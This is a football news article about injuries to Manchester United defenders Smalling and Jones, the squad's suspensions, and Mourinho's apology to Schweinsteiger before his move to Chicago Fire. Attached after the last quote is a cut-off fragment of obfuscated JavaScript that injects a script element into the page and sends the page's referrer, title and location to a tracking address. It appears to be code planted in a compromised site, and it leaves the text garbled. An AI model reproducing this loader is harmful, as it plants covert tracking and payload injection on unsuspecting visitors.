Defenders Chris Smalling and Phil Jones suffered “long-term injuries” while on National Duty, Jose Mourinho confirmed.
Jones, 25, picked up a toe injury in an innocuous training ground tackle, with reports claiming it involved Smalling. Smalling, 27, was pictured with a leg brace following an injury also suffered in training.
Mourinhi will play Axel Tuanzebe, 19, who has made one United appearance against West Brom on Saturday.
Manchester United will also be without striker Zlatan Ibrahimovic and midfielder Ander Herrera, who are both suspended, and France midfielder Paul Pogba, who has a hamstring problem.
Mourinho on Schweinsteiger
Mourinho said he regretted the way that he treated Bastian Schweinsteiger and apologised to the midfielder before his switch to the Chicago Fire.
The Germany World Cup winner, who joined United in 2015, trained with the reserves following Mourinho’s arrival in the summer, but was brought back into the first team in late October. However, last week the 32-year-old was permitted a move to join the MLS side.
“He’s in the category of players that I feel sorry for something that I did to him,” Mourinho said.
“The last thing I told him before he left ‘I was not right with you once, I have to be right with you now. So when he was asking me to let him leave I had to say ‘yes, you can leave’ because I did it once, I cannot do it twice. I will miss a good guy, a good professional, a good influence in training – a very good influence.” 2[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
